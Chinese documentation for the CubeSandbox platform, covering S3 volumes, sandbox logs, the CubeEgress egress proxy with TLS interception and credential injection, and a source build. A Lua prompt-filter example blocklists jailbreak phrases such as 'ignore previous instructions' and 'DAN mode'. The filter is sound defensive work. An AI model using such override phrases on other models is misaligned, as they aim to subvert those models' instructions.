部署 在 values 里关掉 chart MinIO、填 `volumeS3.*`（或用 `volumeS3.existingSecret` 指向已有 Secret），`helm upgrade` 后 chart 会渲染 `volume-s3.conf` Secret： ```yaml minio: enabled: false volumeS3: endpoint: https://s3.example.com accessKeyId: ... secretAccessKey: ... bucket: cube-volumes # region: us-east-1 # extraOpts: -ouse_path_request_style ``` 详见 chart `values.yaml` 的 `volumeS3` 段。 ### 从零手动部署（非 one-click / 非 Helm） 手动部署插件、手写 `volume-s3.conf` 的完整步骤见 [`examples/volume/s3/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/s3/README.zh.md)；腾讯云 COS 的建桶、取密钥指引(基于独立的 `cos` 驱动插件,而非本插件)见 [`examples/volume/cos/README.zh.md`](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/cos/README.zh.md)。 ### 常见后端 | 提供方 | `ENDPOINT` | `REGION` | |--------|-----------|----------| | AWS S3 | `https://s3.<region>.amazonaws.com` | 桶所在地域 | | 腾讯云 COS | `https://cos.<region>.myqcloud.com` | 桶所在地域（如 `ap-guangzhou`） | | Cloudflare R2 | `https://<account-id>.r2.cloudflarestorage.com` | `auto` | | MinIO | `http://<minio-host>:9000` | 任意值 | *** ## 常见问题 ### S3 Volume 和 Host Mount 有什么区别？ [Host Mount](./persistent-storage.md) 把**节点上已有的目录**绑定进沙箱，节点本地、适合共享现成数据。S3 Volume 是**用户级持久卷**（e2b Volume API），由插件按需创建/销毁、跨沙箱生命周期管理、后端是对象存储。两者互补：Host Mount 适合"节点上已有目录"，S3 Volume 适合"每个用户/任务一个独立持久卷"。 ### 省略 `driver` 会怎样？为什么默认走 S3？ `Volume.create(...)` 省略 `driver` 时，CubeMaster 取 `volume_plugins` 列表的**第一项**。默认安装现已把 `s3` 排在第一，所以省略 `driver` 即走 S3。显式写 `driver="s3"` 仍推荐——在多后端集群里意图更清晰，也避免有人把 `cos` 调到前面后行为悄悄变化。 ### 沙箱销毁后数据还在吗？Volume 的生命周期是怎样的？ 在。Volume 的挂载/卸载由**引用计数**驱动，你不需要手动管挂载点： | 操作 | 行为 | |------|------| | `Volume.create` | 在后端建一个 `volumes/<id>/` 前缀 | | 沙箱挂载（refCount 0→1） | Cubelet 用 s3fs 把该前缀挂到宿主机，再透传进 microVM | | 沙箱挂载（refCount >0） | 复用已有挂载，不重复 mount | | 沙箱销毁（refCount >1） | 仅减计数，不卸载 | | 沙箱销毁（refCount →0） | `fusermount -u` 卸载，**后端数据保留** | | `Volume.destroy` | 删除整个 `volumes/<id>/` 前缀，不可恢复 | ### 删除 Volume 会怎样？为什么有时返回 409？ `Volume.destroy` 会清空后端整个 `volumes/<id>/` 前缀，**不可恢复**。有沙箱仍持有该 Volume 时 API 会拒绝并返回 409——先销毁所有使用它的沙箱再删。注意节点崩溃后引用计数可能失真（集群级计数归零但某节点仍持有挂载），删除前请确认。 ### 桶必须提前创建吗？ 不必。Create 会先 `head-bucket`，桶不存在时自动创建；桶已存在则直接用，不需要 `s3:CreateBucket` 权限。 *** ## 故障排查 | 现象 | 排查方向 | |------|----------| | `unknown driver: s3` | CubeMaster `volume_plugins` 没注册 `s3`，或没重启 | | `no plugin registered for driver "s3"` | Cubelet 没注册同名插件，或没重启 | | attach 失败 `s3fs mount failed` | 宿主机 `ls /dev/fuse` 是否存在；凭证/`ENDPOINT` 是否正确 | | `InvalidAccessKeyId` / `SignatureDoesNotMatch` | 密钥错、缺桶权限，或 `REGION` 与 Endpoint 期望的 SigV4 地域不符 | | 桶名含点号 | s3fs 默认 virtual-hosted 寻址，带点的桶名会 TLS 失败。改用无点桶名，或在 conf 里设 `S3FS_EXTRA_OPTS=-ouse_path_request_style`（MinIO 通常也需要） | | SDK 写入失败 | 没设 `CUBE_PROXY_NODE_IP`；或 CubeAPI/模板未就绪 | | `Volume.create` 没走 s3 | 省略 `driver` 时取 `volume_plugins` **第一项**；默认安装下第一项是 `s3`。若你的集群把 `cos` 调到了前面，请显式写 `driver="s3"` | 更多排障与协议细节：[Volume 插件开发指南](./volume-plugin.md)、[S3 插件完整指引](https://github.com/TencentCloud/CubeSandbox/blob/master/examples/volume/s3/README.zh.md)。 --- --- url: https://cubesandbox.com/zh/guide/sandbox-logs.md --- # 沙箱日志 ::: warning 功能迭代中 日志能力目前仍在持续迭代，本文介绍的 `cubecli logs` 命令是**临时使用版本**——后续版本可能对接口及底层存储结构进行调整。 ::: CubeSandbox 提供两个互补的日志层： | 层级 | 记录内容 | 获取方式 | |---|---|---| | **沙箱日志** | 容器 init 进程（主入口）的 stdout/stderr | `cubecli logs`（本文） | | **`envd` 任务日志** | 在沙箱内通过 `exec` 接口启动的子任务的 stdout/stderr | E2B SDK（`on_stdout` / `on_stderr` 回调） | 本文仅介绍**沙箱级别的日志**。`envd` 子任务的日志获取方式请参阅 [E2B SDK 文档](https://e2b.dev/docs)。 ## 前置条件 `cubecli` 随 Cubelet 一同构建，并在一键部署时自动安装。`logs` 子命令访问的日志文件位于 **Cubelet 挂载命名空间**内，因此必须**直接在计算节点上执行**，无法通过 API 或非节点主机远程调用。 ## 读取沙箱日志 ```bash # 最后 100 行 stdout（默认） cubecli logs <sandbox-id> # 最后 100 行 stderr cubecli logs --stderr <sandbox-id> # 完整日志（全部行） cubecli logs --all <sandbox-id> # 最后 N 行 cubecli logs --tail 50 <sandbox-id> # 简写 cubecli logs -t 50 <sandbox-id> # 前 N 行 cubecli logs --head 20 <sandbox-id> # 简写 cubecli logs -H 20 <sandbox-id> ``` ### 参数说明 | 参数 | 简写 | 说明 | |---|---|---| | `--stderr` | `-e` | 读取 stderr，默认读取 stdout | | `--all` | `-a` | 输出全部行；不可与 `--tail` 或 `--head` 同时使用 | | `--tail N` | `-t N` | 输出最后 N 行（未指定其他标志时默认为 100） | | `--head N` | `-H N` | 输出前 N 行 | ## 读取模板构建日志 模板构建过程中，容器的 stdout/stderr 会写入宿主机文件系统 `/data/log/template/<templateID>_0/`。这些文件无需进入 Cubelet 挂载命名空间，使用 `--tpl` 标志可跳过命名空间切换： ```bash # 最后 100 行模板构建 stdout cubecli logs --tpl <template-id> # 完整模板构建 stderr cubecli logs --tpl --all --stderr <template-id> ``` ## 日志文件路径 | 场景 | 路径 | |---|---| | 沙箱 stdout | `/data/cubelet/state/io.containerd.runtime.v2.task/default/<sandbox-id>/stdout`（Cubelet 挂载命名空间内） | | 沙箱 stderr | `/data/cubelet/state/io.containerd.runtime.v2.task/default/<sandbox-id>/stderr`（Cubelet 挂载命名空间内） | | 模板 stdout | `/data/log/template/<template-id>_0/stdout`（宿主机文件系统） | | 模板 stderr | `/data/log/template/<template-id>_0/stderr`（宿主机文件系统） | ::: tip 为什么需要挂载命名空间？ 沙箱日志文件由 CubeShim 写入 bundle 目录，该目录仅在 Cubelet 的私有挂载命名空间内可见。`cubecli logs` 会在读取前自动重新进入该命名空间——你无需任何额外操作，只需在节点上直接运行该命令即可。 ::: ## 范围与限制 * 这些日志仅记录 **init 进程**（容器内 PID 1）的输出。通过 `exec` 接口启动的进程输出需通过 E2B SDK 的 `on_stdout` / `on_stderr` 回调获取，详见 [E2B SDK 文档](https://e2b.dev/docs)。 * 日志转发需要 v0.4.0 及以上版本的 CubeShim。在更旧的部署上，日志文件将不存在。 * 日志目前不支持实时流式读取，暂无 `--follow` 标志。如需查看最新输出，请重新执行命令。 * 沙箱删除后，对应的日志文件会一并清除。 ## 相关文档 * [服务管理与日志](./service-management.md) — 宿主机服务日志、journalctl 及诊断包 * [模板检查与请求预览](./template-inspection-and-preview.md) --- --- url: https://cubesandbox.com/zh/guide/security-proxy.md --- # 安全代理 Cube Sandbox 在每台宿主机上部署一个透明出网代理 —— **CubeEgress** —— 拦截沙箱发起的所有出方向 HTTP/HTTPS 请求，按运维侧定义的 L7 规则 做匹配，对每个请求选择放行、拒绝、或在转发前重写。数据面位于沙箱 的 TAP 设备和外网之间，沙箱无法绕过它（除非破坏宿主机隔离）。 代理提供三类核心能力，全部由"创建沙箱时携带的同一份规则列表"驱动： * **域名过滤** —— 按 SNI / Host / 方法 / scheme / 路径放行或拒绝 * **凭证注入** —— 自动追加固定 header（典型场景是 `Authorization: Bearer …`），密钥不进沙箱 * **访问审计** —— 每一次决策（放行 / 拒绝 / 注入 / TLS 握手结果） 都落到主机本地的 JSONL 审计日志 上游 `proxy_read_timeout` / `proxy_send_timeout` 为 2h（与 CubeProxy 同量级）。`proxy_connect_timeout` 仍是 10s。 ## 拦截链路 CubeEgress 是一个 host-network 容器，在面向沙箱的 IP 上 bind 两个 TPROXY listener —— 8080 上的 HTTP listener 和 8443 上的 HTTPS listener。哪些流量进哪个 listener，由每条规则声明的 port/scheme 映射决定（见[自定义 L7 端口](#自定义-l7-端口)），而不再绑定固定的 目的端口： ``` sandbox ──→ cube-dev (主机网卡) │ ├─ eBPF (mvmtap) 按 allow_out_v3 里的 (host, port)→scheme │ 映射,在出方向 SYN 上打 skb->mark (HTTP 或 HTTPS) │ ├─ iptables mangle/PREROUTING -m mark -j TPROXY │ HTTP mark → 192.168.0.1:8080 (HTTP) │ HTTPS mark → 192.168.0.1:8443 (HTTPS) │ ▼ CubeEgress (OpenResty + lua) │ ├─ ssl_certificate_by_lua → 按客户端 SNI 现场签发 │ 一张 leaf 证书,签名链根 │ 是 CubeEgress 的 root CA │ (在模板构建时已被烘进 │ 沙箱 rootfs 的系统 CA) │ ├─ access_by_lua → 匹配 L7 规则,放行 / 拒绝 / 注入 │ └─ proxy_pass → 原始目的 IP (依赖 IP_TRANSPARENT 保留) ``` 由于 leaf 证书的链路能被沙箱系统 CA 信任，工作负载的 TLS 客户端 看不到这次 MITM，代理也就能合法读写请求/响应。 ## 域名过滤 每条规则有一个 `match`（描述命中条件）和一个 `action`（描述命中后 做什么）。**先到先得**：第一条命中的规则决定结果；任何规则都不 命中的请求被默认拒绝。 ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ # 用 host 精确匹配阻止 apex Rule( name="deny_example_apex", match=Match(scheme="https", host="example.com"), action=Action(allow=False), ), # 用 *.<domain> 形态的 SNI 通配放行所有子域 Rule( name="allow_example_subdomains", match=Match(scheme="https", sni="*.example.com"), action=Action(allow=True), ), ] with Sandbox.create(network={"rules": rules}) as sb: sb.commands.run("curl -s https://www.example.com") # → 上游 sb.commands.run("curl -s https://example.com") # → CubeEgress 返回 403 ``` 匹配字段（全部可选，多个字段 AND 关系）： | 字段 | 类型 | 说明 | | --- | --- | --- | | `scheme` | `"http"` / `"https"` | 大小写不敏感。与 `port` 的搭配语义见[自定义 L7 端口](#自定义-l7-端口)。 | | `port` | int | 要拦截的目的 TCP 端口，`1`–`65535`。必须与 `scheme` 同时设置；见[自定义 L7 端口](#自定义-l7-端口)。 | | `sni` | string | TLS ClientHello 的 SNI；以 `*.` 开头时表示"任意子域"——`*.example.com` 同时命中 `www.example.com` 和 `foo.bar.example.com`，但**不**命中 apex | | `host` | string | 匹配 HTTP `Host:` 头（自动去除端口部分）；语义与 `sni` 相同 —— 支持精确匹配，或以 `*.` 开头的子域通配（大小写不敏感）| | `method` | 方法列表 | 列表内 OR 关系（`["GET", "POST"]`） | | `path` | string | 匹配 `ngx.var.uri`；默认精确匹配，或以单个 `*` 结尾的前缀匹配（如 `/v1/*` 同时命中 `/v1/chat` 和 `/v1/embeddings`） | 请求要同时满足所有出现的字段；未出现的字段视作通配。 ### 自定义 L7 端口 默认情况下，一条规则拦截经典的 `{80/http, 443/https}` 集合。可选 的 `port` + `scheme` 组合可以收窄或扩展哪个 TCP 端口会被送进代理： | `port` | `scheme` | 拦截范围 | | --- | --- | --- | | 省略 | 省略 | `{80/http, 443/https}` —— 默认集合（向后兼容） | | 省略 | `"http"` / `"https"` | 仅该 scheme 的默认端口（`http` → 80，`https` → 443） | | 设置 | 设置 | 精确的 `(host, port, scheme)` 组合 —— 例如 `tcp/8443` 上的 API | | 设置 | 省略 | 非法 —— `port` 必须搭配 `scheme` | ```python from cubesandbox import Sandbox, Rule, Match, Action rules = [ # 拦截一个非标准 HTTPS 端口上的内部 API Rule( name="internal_api", match=Match(host="api.internal.example", port=8443, scheme="https"), action=Action(allow=True), ), # 拦截自定义端口上的明文 HTTP Rule( name="custom_http", match=Match(host="metrics.internal.example", port=18080, scheme="http"), action=Action(allow=True), ), # 只给 scheme 时仍走经典端口,但只匹配其中一侧 Rule( name="https_only", match=Match(host="public.example", scheme="https"), action=Action(allow=True), ), ] with Sandbox.create(network={"rules": rules}) as sb: sb.commands.run("curl -s https://api.internal.example:8443/health") sb.commands.run("curl -s http://metrics.internal.example:18080/") sb.commands.run("curl -s https://public.example/") # → 被代理 ``` 约束（SDK 客户端先校验，服务端再校验一次）： * `port` 必须在 `[1, 65535]`；`scheme` 必须是 `http` 或 `https`（大小写不敏感）。 * L7 规则的 host 必须是域名或单个 IP —— 不支持子网 CIDR（子网 无法出现在 HTTP `Host:` 头或 TLS SNI 里）。 * 共享同一个 `(host, port)` 的所有规则必须对 `scheme` 达成一致； 冲突的 policy 会被整体拒绝。 * 每个 host 最多 8 个不同的 `(port, scheme)` 组合。 任何规则都没有覆盖的端口，仍回落到 L3/L4 的 `allow_out` / `deny_out` 策略，不会进入 CubeEgress。 省略 `port` 对 allow 和 deny 规则的含义不同。**allow** 规则省略 `port` 时会收窄到默认集合 `{80/http, 443/https}` —— 这是 fail-closed 的选择，即自定义端口的流量只有被规则显式点名才会进 代理。**deny** 规则省略 `port` 时则在该 host 内与端口无关 —— 无论哪个端口进来的被拦截流量都会命中。这样可防止"较宽的 host deny 被较窄的自定义端口 allow 绕过"：例如 `deny host="*.example.com"` 与 `allow host="api.example.com", port=8443, scheme="https"` 同时存在时，deny 仍会命中 `api.example.com:8443`，最终结果由规则顺序（先命中先生效）决定。 若想放行这个例外，把更具体的 allow 规则放在前面。 同一个域名可以同时出现在 L3/L4 的 `allow_out` 列表和某条 L7 `rule` 里，此时两者**并存**：该域名学到的 IP 会同时得到一条纯 `/32` 任意端口放行条目（让非 rule 端口保留普通的 L3/L4 SNAT 访 问）**和**每个 rule 端口一条 L7 `(ip, port)` 条目（让这些端口被 送进 CubeEgress 代理）。更精确的 `(ip, port)` 匹配对 rule 端口生 效，`/32` 兜底其余端口。换句话说，给一个已在 `allow_out` 里的域 名再加 L7 rule，**不会**移除它原有的纯 L3 放行 —— 只是在 rule 的 端口上叠加了 L7 拦截。 ::: tip 单层 vs 多层子域 `*.example.com` 不区分子域层数，**所有**结尾命中的子域都算。 若想只放行单层子域（如 `www`、`api`），需要为不希望放过的嵌套 子域**单独**追加 `host="…"` 的 deny 规则。 ::: deny 命中时 CubeEgress 直接返 HTTP 403，**完全不**接触上游 —— 沙箱马上看到拒绝，没 DNS 泄漏、没 TCP 握手。 ## 凭证注入 inject 规则在匹配成功后向出方向请求追加固定 header。最经典的 场景是注入 API token： ```python from cubesandbox import Sandbox, Rule, Match, Action, Inject rules = [ Rule( name="deepseek_api", match=Match(scheme="https", host="api.deepseek.com", method=["POST"], path="/v1/chat", sni="api.deepseek.com"), action=Action( allow=True, audit="metadata", inject=[Inject( header="Authorization", format="Bearer ${SECRET}", secret="sk_xxxxxxxx", # 运维侧密钥,沙箱永不可见 )], ), ), ] ``` 行为： * 工作负载发请求时**不带** `Authorization` header；CubeEgress 接到请求、走完 match、再按 inject 列表追加 `Authorization: Bearer sk_xxxxxxxx`，再 forward 给上游。 * `format` 默认 `"${SECRET}"`（即 raw secret 作为 header 整值）； 非 bearer 方案使用 `"Bearer ${SECRET}"` 或任何含 `${SECRET}` 占位符的模板。 * inject 仅在 `action.allow=true` 时生效；deny 规则带 `inject=[…]` 是配置错误，会被忽略。 inject 路径的核心价值在于"密钥留在运维侧"：它存在于规则列表里、 沙箱创建时被推到 CubeEgress、永远不会暴露给沙箱的环境变量、文件 系统或进程空间。 ### 安全提醒 HTTP 凭证注入是有风险的，应该只在受控的内网环境使用。除非必要， 都应该使用 HTTPS。 明文 HTTP 无法验证对端身份。规则按 `Host` 匹配成功后，凭证会随 请求发往当时解析出的目的 IP。 典型场景：沙箱创建时 `allow_internet_access=true`，并为 `example.com` 配置了凭证注入。攻击者如果能控制解析该域名的 DNS 服务器，就可以把 `example.com` 解析到自己的 IP，从而把注入的凭证 发往被控制的服务器。这不是 CubeSandbox 本身的问题，而是明文 HTTP 无法认证对端。 ::: warning 优先使用 HTTPS 为 inject 规则显式指定 `scheme="https"`。只有上游服务位于你完全 掌控的内网时，才使用 `scheme="http"`。省略 `scheme` 会同时匹配 HTTP 和 HTTPS，HTTP 一侧同样会注入凭证。 ::: ## 访问审计 每个请求按规则上的 `action.audit` 字段在三种审计级别里走一种： | 级别 | 落盘内容 | | --- | --- | | `none` | 不记录 | | `metadata`（默认） | 时间戳、沙箱 IP、目的 IP/端口、scheme、host、method、path、status、收发字节、延迟、TLS 版本+cipher、上游 addr | | `full` | 预留 —— 当前等同 `metadata`，未来用于完整请求/响应 body 抓取 | 日志在主机 `/data/log/cube-egress/access.jsonl`，每行一条 JSON： ```json { "ts": "2026-05-29T11:24:01+08:00", "sandbox_ip": "192.168.1.154", "dst_ip": "104.16.132.229", "dst_port": 443, "scheme": "https", "host": "api.deepseek.com", "method": "POST", "path": "/v1/chat", "status": 200, "bytes_in": 412, "bytes_out": 1856, "latency_ms": 384, "tls_version": "TLSv1.3", "cipher": "TLS_AES_128_GCM_SHA256", "upstream_status": "200", "upstream_addr": "104.16.132.229:443" } ``` 同一日志文件还落两类事件，schema 略有不同： * **`security_event`** —— default-deny 拒绝、规则畸形短路、 host/SNI 不一致、inject 触发等。会带规则名 + `reason` 字段 描述哪个守卫触发了。 * **`tls_handshake`** —— TLS 握手本身失败时（leaf 签发失败、 客户端中途断开等）发出，此时还没有 HTTP 报文。用于把"TLS 没握上" 和"请求被解密后被拒"区分开。 ::: warning 密钥被脱敏 inject 的 `secret` 值在写入任何日志路径前都会被剥除。审计日志 仅记录规则名和 inject 已运行的事实；密钥本身从不离开 lua VM。 ::: ## 不经过代理的路径 少数情形不走 CubeEgress，需要清楚边界： * **`cube-dev` 内部流量** —— 沙箱到沙箱、沙箱到集群内服务（Cube API 等）不进 TPROXY 链路，不受规则约束。 * **没有被 L7 规则覆盖的 TCP/UDP** —— TPROXY 链路只重定向被 L7 规则标记的流量：默认的 `{80/http, 443/https}` 集合，加上规则 声明的任意自定义 `(port, scheme)`。直连任何规则都没覆盖的端口 的 TCP，仍受 CubeNet 数据面的 L3/L4 `allow_out` / `deny_out` 策略约束，但 CubeEgress 看不到。 * **没烘 CA 的模板** —— 如果模板用 `--with-cube-ca=false` 创建， 沙箱里的 TLS 客户端**不**信任 CubeEgress 签的 leaf 证书， HTTPS 在规则评估之前就会因 self-signed cert 报错。 代理本身的部署（systemd 单元、CA 引导、iptables oneshot 服务）见 [`deploy/one-click`](https://github.com/tencentcloud/CubeSandbox/tree/master/deploy/one-click) 源码 —— 那一套会自动把 CubeEgress 接到 control 和 compute target 里。 ## 扩展代理 上面说的 match / inject 语法**故意**写得很窄 —— 它覆盖 80% 的常见 场景（放行某个 host、拒绝另一个、附加 token），仅靠运维侧配置就够。 当你需要规则表达不出的行为 —— 内容检查、跨请求状态、调外部分类 服务 —— CubeEgress 本质就是一个 OpenResty 服务，**你可以自行修改 或新增 lua 脚本**来扩展它。 ### lua 文件布局 数据面按 nginx phase 拆成 `CubeEgress/lua/` 下的多个文件： | 文件 | Phase | 作用 | | --- | --- | --- | | `cert_signer.lua` | `ssl_certificate_by_lua` | 按 SNI 现场签发 leaf 证书 | | `bootstrap.lua` | `init_worker_by_lua`（仅 worker 0）| 启动时从 Cubelet 内置 network runtime 拉初始策略 | | `access_phase.lua` | `access_by_lua` | 每个请求做 match → action → inject 决策 | | `policy.lua` | （模块）| 内存中的策略表，由 `admin.lua` 和 `bootstrap.lua` 写入 | | `admin.lua` | `:9091` 上的 `content_by_lua`（默认；`CUBE_EGRESS_ADMIN_PORT`） | 策略 CRUD admin API | | `audit.lua` | `log_by_lua` | 落 JSONL 审计日志 | | `redactor.lua` | （helper）| 把敏感数据从用户可见路径里抹掉 | `nginx.conf` 在每个 phase block 里通过 `require("…")` 调它们； 比如 HTTP 和 HTTPS server 块的 `access_by_lua_block` 都调 `require("access_phase").decide()`。 `lua_package_path` 配置为 `/usr/local/openresty/nginx/lua/?.lua`，所以放进这个目录的任何 新文件，nginx reload 之后就能 `require("name")` 用。 ### 添加一个新的 phase 钩子 最简单的扩展形态是 —— 写一个新模块，在 `nginx.conf` 的某个 phase block 里 `require` 它。下面的例子：一个 prompt 内容过滤器，拦截 发往 LLM 端点的请求体，扫 prompt 文本，命中黑名单就拒。 **1) 在 `CubeEgress/lua/` 下加一个新模块：** ```lua -- lua/prompt_filter.lua -- 第二阶段(在 access_by_lua 决定 allow 之后):检查发往 LLM 上游 -- 的 POST 请求体,命中禁用模式则拒,可选地重写有风险的内容。 local cjson = require("cjson.safe") local _M = {} -- 简陋启发式;真实部署应换成你安全团队给的方案。 -- 生产里通常用 lua-resty-http(openresty-tproxy 基础镜像已带) -- 调外部分类服务,或从 policy 加载一个正则集合。 local FORBIDDEN_PATTERNS = { "ignore previous instructions", "system prompt", "DAN mode", } local function is_target_endpoint(host, path) -- 只对已知 LLM chat 端点做过滤。可以加更多 host,或从一个 -- lua_shared_dict 读这份列表,让 admin API 可运行时改。 return host == "api.deepseek.com" and path == "/v1/chat/completions" end function _M.inspect() local host = ngx.var.cube_audit_host or ngx.var.http_host local path = ngx.var.uri if not is_target_endpoint(host, path) then return end -- 必须显式 read_body —— nginx 默认不把 POST body 给 lua。 -- nginx.conf 已经开了 proxy_request_buffering=on,所以这里 -- 读完之后,缓存的副本仍会发给上游。 ngx.req.read_body() local body = ngx.req.get_body_data() or "" local payload, err = cjson.decode(body) if not payload or err then return -- 非 JSON,放过 end -- 走 OpenAI 风格的 messages 数组 for _, msg in ipairs(payload.messages or {}) do local content = (msg or {}).content or "" for _, pat in ipairs(FORBIDDEN_PATTERNS) do if string.find(string.lower(content), pat, 1, true) then ngx.log(ngx.WARN, "prompt filter rejected: pattern=", pat, " sandbox=", ngx.var.remote_addr) -- 复用 audit 模块,让这次拒绝跟普通 deny 一样落到 -- access.jsonl local audit = require("audit") pcall(audit.write_security_event, "prompt_filter:" .. pat, ngx.ctx.cube_decision) return ngx.exit(ngx.HTTP_FORBIDDEN) end end end end return _M ``` **2) 接进 `nginx.conf`：** HTTPS server 块已经有 `access_by_lua_block { require("access_phase").decide() }`。把新 模块挂在同一个 block 里，让它**在规则放行之后**才跑： ```nginx server { listen 192.168.0.1:8443 ssl transparent reuseport; # ... location / { access_by_lua_block { require("access_phase").decide() require("prompt_filter").inspect() -- ← 新加这行 require("debug_dump").dump_request("https") } # ... } } ``` **3) 重新构建并重启：** lua 文件是烘进 cube-egress 容器镜像的： ```bash cd CubeEgress && make build # 重新构建镜像 sudo systemctl restart cube-sandbox-cube-egress ``` 如果想**不重新打镜像**地快速迭代，把本地 `lua/` 目录 bind-mount 进运行中的容器，然后 reload： ```bash sudo docker run -d --name cube-egress \ --network=host \ -v $PWD/CubeEgress/lua:/usr/local/openresty/nginx/lua:ro \ -v $PWD/CubeEgress/nginx.conf:/usr/local/openresty/nginx/conf/nginx.conf:ro \ ...其它启动参数... sudo docker exec cube-egress nginx -s reload ``` ### 自定义 phase 里能拿到什么 你的模块跑在 `access_by_lua` 或更靠后的 phase 时，下列东西已经 就绪： | 来源 | 取法 | 用途 | | --- | --- | --- | | `ngx.ctx.cube_decision` | access\_phase 留下的决策结构：`rule_name`、`allow`、`audit_level`、`inject_count` | 按命中规则分支 | | `ngx.var.ssl_server_name` | 握手时记下的原始 SNI | 身份锁定路由 | | `ngx.var.cube_audit_host` | 匹配 host（SNI > Host header > dst IP）| 端点查找 | | `ngx.var.remote_addr` | 沙箱 IP —— policy\_store 的主键 | 按沙箱维度做状态 | | `lua_shared_dict policy_store` | 当前生效的 policy 表 | 运行时读规则，例如把扩展字段塞进 rule body 里读出来 | | `lua_shared_dict cert_cache` | leaf 证书缓存 | TLS 元信息 | | `audit.write_security_event(reason, decision)` | 写一行 `security_event` JSONL | 让你的拒绝出现在审计里 | | `redactor.scrub(s)` | 把字符串里的敏感数据抹掉 | 日志任何用户可见的字段 | ### 实现建议 * **挂在 `access_phase` 之后，不要在前。** 这样 deny 规则先短路， 你的 hook 不会为已经会被拒的请求做昂贵计算。 * **走 audit 模块、不要光 `ngx.log`。** 手写日志不会进 `access.jsonl`，下游工具（SIEM ingest、SOC 大盘）按 JSONL schema 解析。 * **控制延迟。** 调外部分类服务时，`lua-resty-http` 的超时要 明显小于上游的 `proxy_connect_timeout`。沙箱在等你。 * **失败要 fail-safe。** 分类服务挂时，提前决定走"拒绝（安全 优先）"还是"放行（可用性优先）"，但一定**不要**让 worker 崩。 外部调用包 `pcall`，无论结果如何写一条 `security_event`。 * **别把密钥塞进 `ngx.shared.*`。** 那些 dict 对所有 worker 可见； 敏感材料应该走 inject 路径（它只写出方向）或者 `init_by_lua` 的 per-worker 全局变量。 更复杂的场景 —— 中间件链、内容改写、实时分类 —— 用同一套机制即可； OpenResty 的完整 lua API 都可用，含 `lua-resty-http`（出方向调用） 和 `cjson`（body 处理）。 --- --- url: https://cubesandbox.com/zh/guide/self-build-deploy.md --- # 本地构建部署 > 如果你希望跳过本地构建，直接开始体验，请参阅[快速开始](./quickstart.md)。 本指南介绍如何从源码构建 Cube Sandbox 发布包并在单台裸金属服务器上完成部署。本地构建部署适用于**评估体验、开发测试**场景，也是需要自定义组件或扩展计算节点时的起点。 部署完成后，你将获得一个完整可用的 Cube Sandbox 实例： * E2B 兼容 REST API 监听在 `3000` 端口 * CubeMaster、Cubelet、CubeShim 作为宿主机进程运行；network runtime 已内置在 Cubelet 中 * MySQL 和 Redis 通过 Docker Compose 管理 * CubeProxy 提供 TLS（mkcert）和 CoreDNS 域名路由（`cube.app`） ## 前置条件 ### 硬件要求 * **物理机或裸金属服务器**（不支持嵌套虚拟化） * **x86\_64** 或 **aarch64**（ARM64）架构 * **已启用 KVM** — 通过 `ls /dev/kvm` 验证 * 推荐配置：8 核以上 CPU、16 GB 以上内存 ### 软件要求（目标机） | 要求 | 说明 | |------|------| | Linux | 推荐 Ubuntu 22.04+ | | Docker | 已安装并正常运行 | | root 权限 | `install.sh` 需要 root 执行 | | DNS 路由 | `systemd-resolved`（推荐）或 `NetworkManager + dnsmasq` | | `tar`、`ss`、`grep`、`sed`、`awk` | 安装脚本依赖 | ### 软件要求（构建机） | 要求 | 说明 | |------|------| | Docker | 用于运行 builder 容器 | | `make` | 用于构建 builder 镜像 | | `tar`、`python3`、`truncate`、`ldd`、`mkfs.ext4` | Guest 镜像生成和打包所需 | ::: tip 架构说明 发布包按构建机的架构**原生构建**，组件不做交叉编译。请在与目标主机**相同架构**的机器上构建（`x86_64` 构建机产出 `x86_64` 发布包，`aarch64` 构建机产出 `aarch64` 发布包）。构建工具链会自动检测宿主机架构（通过 `uname -m`）；仅当需要覆盖检测结果时才设置 `TARGET_ARCH`。 ::: > 构建机和目标机可以是同一台物理机。 ### 网络要求 * 需要联网拉取 `mysql:8.0` 和 `redis:7-alpine` Docker 镜像。 * `mkcert` 二进制文件已内置在发布包中，安装时若系统尚未安装 `mkcert`，会自动从包内复制到 `/usr/local/bin/mkcert`，无需联网下载。 * S3 Volume 插件是内置 S3 客户端的静态 Go 二进制，打包时从 `examples/volume/s3` 编译。控制节点无需任何 S3 命令行工具；挂载 Volume 的节点仍需 `s3fs`。可用 `ONE_CLICK_VOLUME_S3_BIN` 指定预编译二进制。 * CubeProxy 镜像构建使用 Alpine 和 PyPI 软件源（可配置）。 ## 第一步：构建部署包 以下步骤在**构建机**上执行。 ### 1.1 准备内核文件 将编译好的 `vmlinux` 内核文件放入指定目录，两种方式： **方式 A —— 下载预编译内核（推荐）** Guest 内核已发布在专属的 `kernel-release-*` Release 上，无需自行编译： ```bash # 普通（裸金属/KVM）guest 内核 —— 按目标架构选择 wget -O deploy/one-click/assets/kernel-artifacts/vmlinux \ "https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/kernel-release-260812-1/vmlinux-amd64" # （aarch64 使用 vmlinux-arm64） # 若目标主机以 PVM 方式部署，另需下载 PVM guest 内核 wget -O deploy/one-click/assets/kernel-artifacts/vmlinux-pvm \ "https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/kernel-release-260812-1/vmlinux-pvm-amd64" ``` 上面的 tag 仅为示例 —— 最新 tag、CNB 镜像及完整资产列表见[下载与 Release 说明](./downloads.md)。 **方式 B —— 自行编译 `vmlinux`** ```bash cp /path/to/vmlinux deploy/one-click/assets/kernel-artifacts/ ``` 默认文件名为 `vmlinux`。可通过环境变量 `ONE_CLICK_CUBE_KERNEL_VMLINUX` 覆盖路径。 ### 1.2 执行构建 如需覆盖构建选项，先复制构建环境模板，然后在仓库根目录执行： ```bash cd CubeSandbox cp deploy/one-click/build.env.example deploy/one-click/build.env ./deploy/one-click/build-release-bundle-builder.sh ``` 该脚本会： 1. 构建或复用 `cube-sandbox-builder` Docker 镜像 2. 在 builder 容器内编译所有组件（CubeMaster、Cubelet、cube-api、cube-agent、CubeShim、cube-runtime） 3. 在宿主机上构建 Guest VM 镜像 4. 将所有产物打包为发布包 ### 1.3 获取构建产物 构建成功后，发布包位于： ``` deploy/one-click/dist/cube-sandbox-one-click-<version>.tar.gz ``` 其中 `<version>` 取自当前 Git commit ID。 发布包包含： * 所有编译后的二进制文件（cubemaster、cubelet、cube-api、containerd-shim-cube-rs、cube-runtime） * Guest VM 镜像（`cube-guest-image-cpu.img`） * 内核包（`cube-kernel-scf.zip`） * CubeProxy 和 CoreDNS 的 